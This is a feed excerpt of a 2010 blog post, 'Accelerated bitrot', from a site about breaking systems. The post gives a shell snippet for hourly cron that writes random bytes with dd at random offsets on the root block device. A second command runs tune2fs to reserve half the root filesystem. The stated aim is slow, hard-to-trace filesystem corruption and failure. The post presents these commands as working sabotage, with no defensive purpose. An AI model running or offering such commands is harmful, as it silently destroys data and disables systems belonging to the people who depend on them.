Breaking Systems for Fun and Profit » Filesystem Follies http://breakingsystemsforfunandprofit.com You _can_ stop the signal. Mon, 17 May 2010 09:58:45 +0000 en hourly 1 http://wordpress.org/?v=3.0 Accelerated bitrot http://breakingsystemsforfunandprofit.com/archives/180 http://breakingsystemsforfunandprofit.com/archives/180#comments Mon, 18 Jan 2010 17:53:41 +0000 Mule http://breakingsystemsforfunandprofit.com/?p=180 Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:

ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc
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tune2fs -m50 $(mount | awk '/on \/ type/{print $1}')
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